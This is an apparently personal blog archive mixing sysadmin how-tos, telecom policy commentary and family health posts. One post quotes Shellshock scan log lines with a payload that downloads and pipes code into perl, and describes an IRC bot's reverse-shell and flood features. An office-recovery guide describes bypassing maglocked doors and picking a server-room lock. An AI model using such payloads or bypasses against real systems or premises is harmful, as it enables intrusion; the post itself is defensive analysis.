All posts by paul

iommu.c kernel panic when upgrading to Xenserver 6.5

I found a bug exists on some Intel ICH9 Family chipsets that causes an error:

Image of a computer providing a iommu.c error
Image of a computer providing a iommu.c error

Panic on CPU 0:
Assertion 'rmrr->base_address < rmrr->end_address' Failed at iommu.c:1848
Reboot in five seconds...

The solution to this is simple.

First: Upgrade the system with the unsupported method :)
xe host-call-plugin host-uuid=e6238743-x-x-x-12c391702c0b fn=testUrl args:url=http://yourwebserverhere/xenserver65/

If it returns "true", go for the next step:
xe host-call-plugin host-uuid=e6238743-x-x-x-12c391702c0b fn=main args:url=http://yourwebserverhere/xenserver65/

This will take a while and return true. These are the steps that the rolling pool plugin uses.

now edit each "append" line and before the three dashes on "upgrade" and "xe" add "iommu=disable" and reboot. It should complete the network upgrade as normal and work properly after that.

Decode of IRC bot deployed by shellshock vulnerability

Today I saw a shellshock scan against my apache logs:

[Mon Nov 03 16:43:02 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/vpasswd.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:43:14 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/tigvote.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:43:32 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/smartsearch, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:44:17 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/newsdesk.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:44:21 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/musicqueue.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:44:23 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/mt-static, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:44:28 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/mmstdod.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:44:32 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/main.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:44:48 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/ImageFolio, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:44:55 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/html2chtml.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:45:21 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/ezshopper, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:45:34 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/dfire.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:46:19 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/book.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:46:28 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/bb-rep.shHTTP
[Mon Nov 03 16:46:38 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/auktion.cgi, referer: () { :; }; wget -qO - | perl
[Mon Nov 03 16:46:39 2014] [error] [client] script not found or unable to stat: /usr/lib/cgi-bin/auction, referer: () { :; }; wget -qO - | perl

What this means in layman's terms is that the requester seems to think I'll execute the code in the referrer header (some CGI scripts would do this, especially with the bash vulnerability). What it wants me to do is go to that URL, download the code contained within, and execute it.

This is dangerous. I don't recommend it.  It's obsfucated by using base64 encoding. I changed the exec statement to a print, and output that to a file.  I zipped both and they are both here for forensic purposes.

It looks like the bot will change its name in the process table to one of the following:

my @rps = ("/usr/local/apache/bin/httpd -DSSL",
 "/usr/sbin/httpd -k start -DSSL",
 "/usr/sbin/apache2 -k start",

Then it will connect to the IRC server '' on port 443. It will join #shock and accept commands from 'M', 'st0n3d','x00' and 'jorgee'.


It accepts a myriad of commands to UDP flood hosts, portscan them, connect to arbitrary ports, reverse shell, and ctcp/msg/noticeflood anyone on the IRC server. It can also send emails from the  target machine, and download any arbitrary file.

If you haven't patched your server, keep your eyes out. Exploits are definitely in the wild.

Linux iSCSI initiator Notes

My own notes on the Linux iSCSI initiator – applicable to myself, but maybe also to you.

Discover IQNs from the portal

iscsiadm -m discovery -t st -p 192.168.0.x

Log into an IQN (attach it as a drive)

iscsiadm -m node --targetname "" --portal 192.168.0.x --login

Do your thing

Log out of the IQN (make the device go away, from the OS standpoint)


iscsiadm -m node --targetname "" --portal 192.168.0.x --logout  <– Debian's docs on this

“What’s that burning smell?”

In 2006, with a strong case of senior-itis after putting in notice at my last employer, I was asked to document a number of things I did regularly or special things that may be done incorrectly that would be helpful to know. One of the documents I can share, because it pertains entirely to nonexistent servers, non existing servers, and a building prior to the full dissolution of my previous employer's detroit office.

It's among my favorites, one I actually saved a copy of because I liked the sense of humor I had about what had (more than) once been a very frustrating task for me to perform.

“What’s that burning smell?”

A guide on how to recover the Detroit office from a full, extended power outage.

Paul Timmins

Okay, if you’re reading this document, you’re probably pretty screwed. Here’s a step by step guide.

Breaking into the office: (This is only necessary if the door controllers are not working right) [editor's note: they never work right]

  1. The holdmagnetsare rated for 300 pounds of lateral force. Don’t waste yourtimedinking with trying to pull them open. You’ll break the door first. You have two options:
    1. 1⁄4” – 1⁄2” steel rod, 1 meter long. (you can get this at home depot for a buck, it might be threaded, but who cares) Slip this through the crack between the door and the jamb, and use it to push the emergency exit button. It requires about 2 pounds of force, so a meterstick might not be sufficient.
    2. MacGuyver method. Heat up a party balloon under your arm until it’s about 85-90 degrees. Stick its mass through the door, and hold it by its neck. Inflate it with a drinking straw. Release the balloon, such that it flies in the path of the motion sensor. This may take several tries.
    3. The fire panel can override the perimeter locks. There are two ways to trigger this. One is to call property management and convince them to override your locks at the fire panel. Option two is left as an exercise to the reader.
  2. So you’re in. Now what? Well, that server room lock is failshut. You can’t operate it in a power outage, and there’s no fire panel override. It’s a 6 pin tumbler lock with no special warding. A locksmith (or me!) can open it in under 15 minutes with a simple set of lockpicks. Prop this door because it WILL relock.

Getting everything happy:

  1. Ensure you have power to the entire office. Getting halfway through this to find out that you only have power to half the room is not good.
  2. Air conditioning is critical. The room should be below 70F. If it is above 85F, do not continue until the AC has cooled the room. This can occur if the systems run off UPS for a while, because the AC is not on the UPS. If the AC isn’t spitting cold air out the vent by the door, turn the thermostat “OFF”, then to “COLD”, waiting 30 seconds between the toggle to avoid problems with the AC compressor. IF THE BUILDING LOSES PRESSURE TO THE CHILLERS, YOU MUST DO THIS STEP BECAUSE THE INTERLOCKS WILL SHUT OFF THE AC TO PREVENT DAMAGE, AND THE INTERLOCKS ARE RESET BY DOING THIS. BUILDING MANAGEMENT CANNOT HELP YOU WITH THIS – THE SERVER ROOM AC BELONGS TO TB.
  3. By now, you’re enjoying the fresh air. Make sure all computers are off, and then power on the UPSen. If they fully discharged, they’re going to have a lot of inrush current in the first 10 seconds, so you should do this step. It just might save you a blown breaker. (though I have not experienced this)
  4. Now we start powering up equipment. Power on all Ethernet switches. They are booted when all the lights are out but power, and maybe a few ports blinking away cheerfully. In 30 minutes you’ll be as happy as those little green lights are, so stay calm.
  5. Then power on the T1 router. It’s a Cisco 1700 series in the telecom rack. It is functional when you see W0 lit as active. If this is a regional power outage or natural disaster, check the back to make sure the alarm light isn’t illuminated. If it is, the T1 line itself is down. Call MCI/Verizon Business/AT&TMCI/Bell System, American Telephone and Telegraph, and related companies, depending on the level of telecom consolidation when you read this. The circuit is through UUnet as of this writing.
  6. Then power on the ASA. It is functional when the lights are doing their happy blinky thing.
  7. Power on DC3 and DC4. This will establish an AD tree relationship with San Mateo/San Francisco/Bunch of people screaming for help floating in the water after the “Big One”.
  8. Watch them come up on the KVM. Have a beer.
  9. Power on DC1DT and DC2DT, taking care not to spill your beer on the servers. DC2DT may take a waving of a dead chicken over top of it to properly boot as of this writing.
  10. Once those come up, make sure all raid enclosures in the office are plugged in and operating. Wave dead chicken as necessary.
  11. Power on ops-mon, FS3DT, and EX1DT.
  12. Power on PHONESYSTEM, ensuring both power supplies have power. Green LEDs are illuminated at the back of the power supply, right? This is very heat sensitive, so if you have to delay it to get the server room below 75 F, please do.
  13. Reset the doorlock controllers. They’re the big box with the ominous triangle printed on them on the wall above the keyboard for the phonesystem. Just yank their power, plug them back in, and listen in amusement as they do a little clicky dance with all the relays. The system is now reset and mostly operational.
  14. Power on the HP desktop across from the phonesystem. This dinky ass piece of crap is the badging machine. Log into it as local administrator, password is supplied elsewhere. Make sure that stupid dos window with the numbers counting comes up (it’s in the startup group, so it should!). Don’t close that. At this point, you can, in theory, rely on the door locks. Test them at the server room door.
  15. Power on the backup machine.
  16. Power on the rest of the computers. I just turn every computer in the room on to be safe.
  17. As a courtesy, power on the tenant’s crap. You don’t have to, but it builds goodwill and they’re more likely to give you favors. Seriously.
  18. Check your email. If it works, go home, or whatever.

Michigan SB636 passed, allowing termination of landline phone service. Now what?

“Mr. Speaker and members of the House:

Today a disservice was done to the citizens of the State of Michigan. This bill hampers competition and allows a greedy large corporation to take advantage of some of the most vulnerable segments of our population. Senior citizens and lower income users deserve to be protected. In this case, they are not. I hope that in future votes my colleagues will take into consideration the long term effects of legislation that we pass.”

– Rep. LaVoy, Michigan House Journal 27 of 2014

On 3/11/2014, Senate Bill 636, as amended, was passed in the State House of Representatives of Michigan. For my post on the original bill, click here. (Please note there is an important amendment I'll be discussing below.)

Not all is lost. Numerous news reports (many of them sympathetic to AT&T's position, but it raised attention regardless), 19,000+ hits to this blog, attention from many other blogs and websites, and  outcry from numerous public safety, consumers rights groups, and competitive providers managed to hold off this law for almost 3 months. In that time, something that passed the state Senate in 2 days with a final vote of 31 yeas, 4 nays, 2 excused, and 1 abstain ended up passing the state House in nearly 90 days, with 71 Yeas and 39 nays, and only after being amended.

What was the amendment, and what does it do? Are we safe?

It adds onto the section that allows a provider to withdraw as a telephone company entirely (as long as there was a workable solution for 911 emergency calling in the area),  a section binding the withdrawing carrier to the FCC IP Transition order, should they choose to withdraw.  (This would apply whether it's a formal FCC IP Transition trial or not, until federal regulations are passed codifying the IP transition nationwide, which would likely supersede any state laws we have on the topic anyway, so we're only losing so much here)

Regulation of interconnection, wholesale access, and consumer issues would remain the purview of the MPSC, using the FCC IP Transition trial rules until the FCC passes its own final rules for the IP transition.

Have no illusions – this isn't the best case scenario for Michigan consumers, or competitive providers. But it's much better for them than the original SB636. The FCC IP transition order provides some consumer protection (but not a lot) by requiring applicants to prepare reports on the impact of transition for many different types of things, such as credit card terminals, heart monitors, etc. And it allows wholesale access to legacy network elements, so competitive providers could decide to provide legacy TDM/POTS equivalent service if there is market demand for it (and obviously in many places, there would be).

What it doesn't do is compel the RBOC/ILEC to provide those legacy TDM/POTS equivalent services. The upside for consumers is that there are carriers who would happily take that business from the ILEC (including the carrier I work for), and theoretically anyway, we'd be able to do so using our own equipment and the ILEC's wires.

The downside is, many subsidies would not be available to provide same, and CLECs don't necessarily have the sunk cost to provide this service cheaply (some do, in some areas). This could have a disproportionate impact on low-income families and rural customers, where there are fewer customers (or mostly low income customers who are paying the bare minimum the plans would offer) to subsidize a network build to provide a replacement product.

The FCC IP trials state there has to be protection of low-income/elderly/disabled customers, but I'm not certain what that would ultimately mean. Where are the cutoffs for low-income and elderly? What kind of price increases would be okay?

Smarter people than I have summarized the IP trial orders here.

The bill, because of the amendments, has to go back to the senate, where it is expected to be passed immediately, and the governor is expected to sign it. Rumors say that the governor pushed hard for these changes, as he did not want the original bill to be passed as written – nobody wants to be the governor that took away phones from elderly people, and gave away state level oversight of the largest public utilities in their state. Well, at least no governor with common sense, anyway.

Time will tell if these changes are enough to protect everyone. I'm not sure anyone with experience in the industry can tell you at this point where things will be by 2017 on these issues. It's notable that the Michigan IP transition laws would kick in right after the current presidential administration term limits out, and a new administration will take its place roughly 20 days after the law kicks in. Part of me can't help but think that AT&T will have their claws dug deeply into the backs of the nominees of both parties.

So is this the end? Are we screwed now?

No. Though many of these issues move to various other states, and the federal level. (AT&T often uses Michigan as a model for legislation in other places – HB4314 was used to prove that if similar legislation was passed in other states, they too would benefit from increased deployment of AT&T's U-Verse product, for example, and from increased investment in their state. AT&T expanded U-Verse deployment, and located more employees in Michigan as a reward for passing HB4314)

Additionally, with Network Neutrality changes, broadband data caps, and the consolidation of major industry players any ability to offer services over the broadband connection of a third party (such as Vonage, Aereo, Skype, Youtube, Hulu, and Netflix) is severely threatened. More independent carriers would let the free market figure out network neutrality, but with consolidation and things like SB636 (at least in its original incarnation, though we don't know what this new incarnation will really bring for certain) we impact the ability for new entrants to create proper competitive pressure. (Each of those links contains more information, and on most, an opportunity to voice your opinion).

As for the FCC's IP Transition policies, you still have an opportunity to lend your voice. DoctorOhhnoes points out in an earlier post that there is still an opportunity to comment on the transition with the FCC.

Numerous groups are working on things such as privacy from the NSA, SOPA censorship, overreaching copyright law, broadband data caps and lots of other things.

What would solve this entirely?

In short, what they call "Structural Separation" – this is when companies are split up between the side that maintains the outside plant infrastructure, and the company that provides voice and data services. The outside plant company would only care what customer belongs to whom as a technical necessity (ie: Where does this customer's wire, fiber optic cable, etc get hooked to in the central office? To AT&T's switch, or to another carrier?). They would own all the buildings, structures, and wires.

This company would be legally separate from any company providing data or voice services, much like AT&T long distance was broken off from the Bell system in 1984, but in this case we're taking it a step further – separating phone companies from the outside wires. AT&T would pay rent to be in the buildings under the same terms and conditions that competing carriers do, and be subject to the same outside plant conditions that the other carriers would.

Any improvements to the outside plant would be cost averaged across the combined customer base, and would affect all carriers equally. AT&T wouldn't benefit unduly from having a large embedded base (except from the usual economies of scale with billing, support, IP transport, and telephone service), and any carrier could roll out any technically possible service at any time.

The outside plant company would have an incentive to come up with better quality loops, better fiber optic penetration, better everything because carriers would demand that of them (and would work out a way to pay for it collectively, if necessary), and they would all benefit equally from the deployment. The outside plant company may even come up with better products to offer – for example, a wholesale VDSL2 DSLAM setup in the neighborhoods that any carrier could pay to use with their equipment to extend the reach. This would allow nearly any carrier to roll out a U-Verse like service overnight. Economies of scale would be spread across all market participants – Currently if 4 companies in a business park want service from 4 different carriers, each has to run their own fiber to the customer's building all the way back to a central point. A structural separated provider could run one 48 count cable to the business park, and hand all 4 carriers their own set of strands to each building. If a customer wanted to change carriers, or add a second, they'd be able to hook up unused capacity, or even swap a cable over from one carrier to another in the central office. This means the entire business park could benefit from that scale, and bringing the other buildings into the fold would be simplified, no matter what carrier they want to use.

It may sound utopian, but several countries are doing this today.

Imagine if your house had access to fiber optic services from 4-6 companies. Do you think people would still be talking about net neutrality and bandwidth caps? Heck no, because if one of those carriers sold capless products that worked well with everything, people could switch in a heartbeat to them. There's no sunk costs and no startup time. The company that tried to limit their customers unnecessarily would be out of business in a heartbeat.


Too much to read? Summary: AT&T managed to get their bill passed with some change due to consumer and citizen outcry. The changes are good, but not as good as not having the law at all.

While the future is uncertain, you still have influence, and there are many battles other than this one that can have similar impact on you, no matter who you buy your services through. I strongly urge you to weigh in on them with those who are in power (and many of them are actually listening, as this isn't a particularly partisan issue, and affects everyone!). I strongly urge people to pressure their legislators, and their friends, to become educated on the topics I mentioned above, and to push people to have positions on them, much like people do about things like abortion, gun control, social security, and other stuff. Almost everyone in the US uses a telephone or the internet daily, and what happens to these services matters a lot.

And if you haven't seen what the other side is capable of, I strongly suggest checking out my earlier post about AT&T's involvement with Astroturf groups here. Other sites discuss this in greater detail.

And to steal a line from Dr Seuss: “Unless someone like you cares a whole awful lot, Nothing is going to get better. It's not.”

How green is the astroturf over there?

A recent article in Fierce Telecom titled "Special access, end of PSTN no secret to wireline marketplace" , written by Bruce Mehlman was a response to an article written by Bruce Kushnick, who is no friend of the incumbent telephone companies, for sure.

But who is Bruce Mehlman and the organization he co-founded, the "Internet Innovation Alliance"? Good question.

The tone of the article would imply that they're an advocacy group for broadband by any means necessary – they want speed and don't care under what terms and conditions it's available, as long as it's "cheap".  Seems fair and innocent enough, from the "cheap, fast, good, pick two" – they chose cheap and fast. I disagree with this strategy, but more power to them.

But wait – what they're advocating is exactly what AT&T is trying to carry out with SB636 in Michigan. I can't help but think that's a bit odd, so I dig a bit to see what the story is with this "Internet Innovation Alliance" that I've never heard of before. What I found was interesting.

With some digging, I found their list of members.

I'll reproduce it here:


1 Economy Incorported Donor Supported by AT&T and Verizon
American Council of the Blind Donor AT&T and Verizon are major sponsors of their event.
The American Conservative Union Ideological Not specifically related to AT&T. Generally supports elimination of government regulations.
Applied Optoelectronics Supplier Supplier for AT&T and Verizon's FTTP products
Alcatel-Lucent Supplier/Common Origins One of AT&T's largest suppliers. Lucent was a spinoff of Bell Labs, which was at one time AT&T.
Americans for Tax Reform Ideological Not specifically related to AT&T. Generally supports elimination of government regulations.
AT&T Self The phone company. The people the organization speaks highly of in the op-ed.
B-Tech Supplier AT&T Supplier – AT&T's logo is right on their front page.
Berry Test Sets Supplier AT&T Supplier – Ironically provides premier test equipment for that "obsolete network" that they're trying to get rid of. Their techs carry this tool a lot.
Communications Technology Solutions / CBM of America Supplier AT&T Vendor
Ciena Supplier AT&T Vendor
Condux Supplier AT&T Vendor
CompTIA Indeterminate Not specifically related to AT&T, but AT&T is a large sponsor of theirs.
Connected Nation  AT&T related AstroTurf group Astroturf group heavily funded by AT&T. Even performs research for AT&T.
Corning Supplier Major AT&T Supplier of Fiber Optic Cable
United States Cattleman's Association Indeterminate, likely donor The site doesn't mention sponsors at all, but the cattlemen's association goes out of its way to file FCC comments all the time in support of various AT&T initiatives.
FiberControl Indeterminate Probably an AT&T supplier. Very niche equipment supplier.
GoFoton Supplier CTO worked at AT&T for 30 years, likely an AT&T supplier as well.
National Grange of the Patrons of Husbandry Indeterminate, likely donor Outspoken advocate of AT&T's policies. Major donors not mentioned on their homepage.
American Homeowners Grassroots Alliance Indeterminate, likely a front group AHGA and AHF Privacy Policy- AHGA and AHF will not disclose any information whatsoever about their members,
customers, or supporters to any other parties under any circumstances. – Advocate of AT&T policies in the past.
Hispanic Telecommunications and Technology Partnership Indeterminate, likely a front group Promotes many AT&T initiatives, ties to the NTCA and USTA. All positions seem to be related to AT&T initiatives.
Hispanic Leadership Fund Indeterminate, likely ideological Unknown, no public webpage, no known policy statements.
Independent Technologies Inc Supplier Supplier, ironically, of equipment for AT&T's "Obsolete" POTS/TDM network.
Independent Women's Forum Donor/Ideological AT&T is a donor to the IWF.  Generally supports elimination of government regulations.
Japanese American Citizens League Donor "Website made possible by the generous sponsorship of AT&T" (search in page for that string)
LCLAA Trade Union Trade Union group (Trade unions that deal with AT&T tend to support AT&T policy in exchange for promises to include their laborers in new initiatives)
AT&T is part of their "Corporate Alliance"
Intertribal Agriculture Council  Likely Donor Recently, the Intertribal Agricultural Council has been involved in many non-agricultural things, such as the AT&T and T-Mobile merger, and the Sirius XM merger. Why? Who knows.
MetroTel Corp  Supplier AT&T Supplier
Minerva Networks Potential Supplier Minerva sells IPTV middleware that controls IPTV set top boxes. AT&T uses Microsoft MediaRoom, but given that Microsoft has no interest in continuing that line, I suspect AT&T is working with Minerva at this point to replace MediaRoom.
National Assocation for Female Executives  Likely Donor Both NAFE and AT&T pat each other on the back a lot.
National Association of Neighborhoods  Likely Donor NAH has spoken heavily in favor of previous AT&T initiatives.
National Coalition on Black Civic Participation AT&T and CWA staff on board of directors
National Health IT Collaborative for the underserved Likely Donor They do not appear to have made any public statements in favor of AT&T initiatives, and appear to be otherwise legitimate.
National Black Chamber of Commerce Donor The AT&T Foundation has donated thousands to this group, if not more.
National Puerto Rico Coalition Donor AT&T is a primary sponsor.
National Spinal Cord Injury Association Likely Donor They do not appear to have made any public statements in favor of AT&T initiatives, and appear to be otherwise legitimate.
OASIS Institute Donor AT&T donated half a million dollars to this group.
National Utility Contractors Association Supplier Consortium of AT&T suppliers
Prysmian Cables and System Supplier Manufacturer of fiber optic cable
Small Business Entrepreneurship Council Ideological Possibly supported by AT&T, definitely ideologically opposed to government regulation.
Suimitomo Lightwave Supplier Fiber optic manufacturer
Sheyenne Dakota, Inc Likely Supplier They manufacturer wiring harnesses.
SeniorNet Donor AT&T and Verizon are sponsors.
SNC Manufacturing Supplier AT&T supplier of high voltage isolation equipment
Suttle Supplier Supplier of various telecommunications cabling and connectors. (Many punchdown blocks are made by Suttle)
Telesync Supplier Ironically, most of their products are for those old, evil POTS services they're trying to get rid of.
TechAmerica Consortium AT&T is a member
USIIA Consortium AT&T is involved with this group. Verizon has an employee on the board of directors. They have a history of speaking in favor of all AT&T initiatives, all the way back to the bell south merger.
Women Impacting Public Policy AT&T employees part of advisory board / Ideological Corporate Advisory Board has AT&T (and Comcast, who does not oppose these laws) members. Several.  Generally supports elimination of government regulations.
Asian Women in Business  Donor AT&T heavily sponsored this group

Now, to be clear, I don't think that taking a single dollar of AT&T's money taints you. But when you're part of a public policy group that is unrelated to your mission (What does this have to do with Indian agriculture, or cattlemen?), and you take money from AT&T, your opinion may be not as independent as you make it sound.

The thing with nonprofits is, they don't have an inherent means of self support. They rely on donors. If you get a big donor that seems awesome at first, it opens a lot of doors for you. When they ask for your support, and it doesn't seem completely unreasonable (just sign your name to this, it's going to pass anyway and we could really use your help, as we've helped you in the past) – few organizations can afford to say no, especially if it doesn't harm their constituency directly or go against their stated goals. It puts them in the unenviable position of either giving a large donor a hand over something inconsequential to their members/beneficiaries/whatever, or taking an unnecessary stand to say "This is tangential to our mission" and risk a pay cut.

Importing Microsoft Access databases into MySQL under Linux

I needed to do this, and found the existing documentation somewhat lacking. My work will be on a file in the original MDB access format (not the newer XML based ones). I'm working on Debian Linux. Instructions for derivatives (such as Ubuntu) should be identical. Other distributions (Redhat Based) may use different package names (using the yum package manager should simplify this, but I have not tested these instructions under Redhat/CentOS/etc).

For the purposes of my example, I'll call my MySQL database "taco" and my Access file "nacho.mdb".

Where I say "(creds)" you place any connection information you may usually need – an example would be "-h -u youruser -pyourpassword"

First, install the mdbtools package:

apt-get install mdbtools

Answer the questions as appropriate.

Create a new database to hold these files:

optional, but suggested. You can always move tables around later.

mysqladmin (creds) create taco

Build empty tables to house all your data, using the Access schema:

This creates empty tables with the same names, structures, and datatypes (or their equivalents) as the access database.

mdb-schema nachos.mdb mysql | mysql (creds) taco

Copy all the data over:

I asked for a tables list, comma delimited. Then I removed the trailing comma, then told xargs to run mdb-export for each table name in the file. BLAH is used as a placeholder, and is replaced by whatever table name it's working on. Please note the positions of commas and spaces are crucial to the proper operation of this command.

mdb-tables -d, -t table nacho.mdb |sed 's/,$//'|xargs -d, -I BLAH mdb-export -I mysql nacho.mdb BLAH|mysql (creds) taco

If you make a mistake:

I know, we're all perfect, right? But let's pretend …your friend… makes a mistake, or encounters a correctable error in processing. The easiest thing to do is dump the mysql database and start all over (you did create a new database just for this, right?)

mysqladmin (creds) drop taco

Answer "Y" and push forward. Only by losing everything are we free to do anything. That's what you'll tell yourself to feel better about the time wasted by starting over. Unless you know what you're doing, I promise you this is the easiest, quickest way.

Doctor, my wife tells me I stop breathing in my sleep. A lot.

Me, wearing a full face mask, attached by a hose to a Philips BiPap system
Me, wearing a full face mask, attached by a hose to a Philips BiPap system

In early October, I hurt my back, presumably while lifting my son out of his car seat (to be honest, I was lifting a lot of stuff around then, and anything could have done it).  I scheduled an urgent care appointment with my doctor after it didn't clear up for a few days, and was affecting my ability to work, and function. Becky's been bothering me for months, maybe years about my snoring problems, and that I wake up gasping for air most nights. I've always got something more important to do than go to see the doctor, but when I get hurt bad enough to make doing all those things unfeasible, suddenly, I must re-prioritize. So I was given a handful of muscle relaxers and some halfway decent painkillers, and was going to be sent on my way. The PA-C who was looking at me asked if I had any other troubles. I finally decided to say it. – "My wife tells me I stop breathing in my sleep. A lot." She said that she's not supposed to treat non-urgent issues during an urgent care visit, but this was an easy enough referral, so why not?

The next day, I get a call from Troy Sleep Center, letting me know they got the referral and asking me to come in for an appointment. I think the appointment was sometime in November. I stopped in before work and took care of that appointment. The questionnaires I answered had all sorts of benign sounding, but almost certainly a sign of something truly menacing questions (do you wake up with a headache? Have you ever fallen asleep while driving? etc). I've always had sleep problems, ever since I was a newborn, so I could answer a lot of them with "yes". The doctor comes in, asks a few questions, and schedules me for a sleep study on December 5th.

Me, wearing EEG probes and chest strap sensors for a sleep study
Me, wearing EEG probes and chest strap sensors for a sleep study

If you've never been to a sleep study, I'll tell you – it's kind of cool but odd at the same time. I came to an office building at night (parking was really nice, obviously), and was led through interior hallways within the office. They opened a door to an office, and inside was suddenly a completely different world. It looked like a person's bedroom. There was a bed, a nightstand, high pile carpet, draperies, even a TV set. And a night vision camera. And a few subtle wires draped over the headstand. The guy told me to get into my pajamas (honestly, my wife had to buy me something because I don't ordinarily do pajamas, but you don't want to go naked through an office building, so…). They came and had me follow them to a room where they set me up with all sorts of wires. After that, they hooked me to that umbilical of cords draped over the bed, tossed a pulse oximeter on my finger, and told me to have a nice rest.

I don't know if you've ever tried resting at 9pm with glue in your hair, wires attached to random extremities, wearing what feels like two seat belts across your chest… I'm not going to sugar coat this – it's not fun, or easy. I think it's ultimately worth it, but I'm not going to sugar coat it and tell you it was awesome. And for my trouble, the guy just pulls the leads out and sends me home at 5am, telling me they'll be in touch. No feedback, no nothing.

So I have to wait about a week for my followup appointment. The doctor comes in the room, asks me if I know what obstructive sleep apnea is. Of course I do. So she tells me that's what I have (duh), and that I stopped breathing between 40 and 90 times an hour. Not during the test, but PER HOUR. 40 was the overall score, 90 was when I was sleeping on my back (I love sleeping on my back, but I've been prohibited by Becky from sleeping on my back for forever, because I stop breathing in that position more than others).

2013-12-28 22.23.47
So you are having trouble sleeping. Have you tried sleeping with wires glued to your head? No sweat? Let's try it with the wires, a mask and tube, and we'll blow air in your nose!

She gives me a diagnosis of "Severe Obstructive Sleep Apnea" and sends me off for a second sleep study to calibrate the CPAP device. I get my study scheduled for 12/29 (yay, holidays!). I go through the study. it was kind of uncomfortable, but doable. I get woken up and sent on my way.  January 3rd, I come to the office, and my doctor walks into the room. He looks at the sheet, and says something along the lines of "Do you know what central apnea is?" … "Yes. It's where your mind doesn't send signals that you should breathe at all".. "Yes, that's what it is". He hands me a sleep study showing that all my obstructive apnea events basically became central apnea events instead. My body was like 'OH HELL NO' and regularly would not fight the pressure of the machine to exhale.

Damn, and here I thought I did good. I mean sure, it was better than nothing at all, which is scary to think about, but it was clearly not tolerated. My diagnosis was changed to "Severe Complex Sleep Apnea", and sleep study #3 was scheduled for last week. That time, I used a BiPap, and the following Monday, I got a call from my home health care company telling me they were going through insurance company pre-authorization for my BiPap unit (the doctor hadn't called me yet). Today, I was given the results (apparently bilevel pressure of 12 and 9 was perfect, with an AHI score of 0), and picked up my unit (which is considerably more expensive than a standard CPAP device).

So you may be wondering: "Hey, what is a BiPap? I've heard of CPAPs, those just blow air into your nose all the time to keep your airway open, but I've not heard of a BiPap before."

A BiPap works by detecting your breathing cycles. Where a CPAP mask basically leaks any air you're not currently breathing in, and normal people can just breathe against the pressure, I can't. The BiPap detects that I'm no longer breathing in, and switches the pressure to a lower value – enough to keep the airway slightly open, but not so much that I can't breathe out. It then waits for negative pressure in the mask, and switches the pressure up at that point. If I fail to breathe in a certain amount of time, it kicks on the pressure anyway, assuming my airway is blocked, or I'm undergoing a central apnea.

I'm really excited tonight. It may be the first time I've slept well since I was 15, when I first started complaining to doctors about being tired all the time, and the doctors checked every possible thing, but never referred me to a sleep doctor.

How do you feel about drugging your kid?

It's no secret that our son has sleep problems. I had (hah! okay, so HAVE) severe sleep issues, and he does too.

We followed all the rules. Feed him early, give him a pre-bed snack. Bathing (not generally a relaxing experience for anyone around here). Warm "milk" (for us, it'd be rice or almond milk, as he's got casein and soy allergies). Making the whole house quiet before bed. Reading stories. Withholding nap time. Waking him early. Tiring him out.

Generally, he'll go to bed around 1-2am without assistance. Unless we have a long, dark car ride (for me these days with severe complex sleep apnea, these are really dangerous to do, so that's not happening – my sleep doctor's directives currently state that I should not be driving late at night) he'll usually be up and active the whole time. I often joke that the US could be independent of fossil fuels if we find a way to tap into his energy.

So after discussions with his doctor, we use an as-needed dose of Melatonin at night (we call them 'Magic Gummies', as they are in gummy form, like his vitamins), for about a year and a half now. I also use it periodically – while I have little trouble falling asleep at the wheel, I have problems falling asleep at night – in part because I use so much caffeine to stay awake and effective during the day. Yeah, in my case it's a self destructive loop, and I'm seeking medical intervention for my complex sleep apnea (3rd sleep study tomorrow, maybe it'll be the one where we find the right machine and settings for me!). But when I was a child, I had more or less identical sleep issues, so it's not JUST the caffeine.

Anyway, so it works great, and his teacher, aide and therapists can tell when he's been using it, and when we've had to get him to sleep naturally. But that doesn't stop people from judging us for using it. People give us looks of disapproval, or ask stuff like 'do you really have to drug your kid?' or *insert anecdote about someone else here*, then some judgmental comment about drugging him. Not just acquaintances, and friends, but family. It sucks, and it's stupid, and hurtful.

We've always treated it as a privilege, not some sort of punitive consequence. In fact, if he's been 'bad', we make him do something good to redeem himself in order to get one – like pick up a toy, or get mommy a glass of water, etc. They don't have a negative stigma attached here. We've never overtly told him what they're for, but that they're a special treat for 'good boys' on 'special nights'. We've gone out of our way to avoid saying what they're for, lest he protest taking them because he wants to stay up and play.

Lately he's been kind of warily asking for them proactively. I told Becky I suspect he knows what they are for and recognizes his need for one. She was skeptical, but tonight I asked him offhand – 'do you know what the magic gummies are for?'.

He says 'they help go night night'.

Damn right they do, kid.

My kid knows he needs help to fall asleep, and actively seeks it. I couldn't think of a more powerfully obvious statement of self advocacy than that.

So how do I feel about drugging my kid? I feel great, because I know I'm helping him satisfy a basic human need that he is now directly articulating his need for. I feel like our choice to give him this powerful tool to help him sleep has helped him behaviorally, educationally, and has soothed him when he was tired, sore and weary. And that our feelings that he would approve of the use of them if he understood what they were for have been validated.

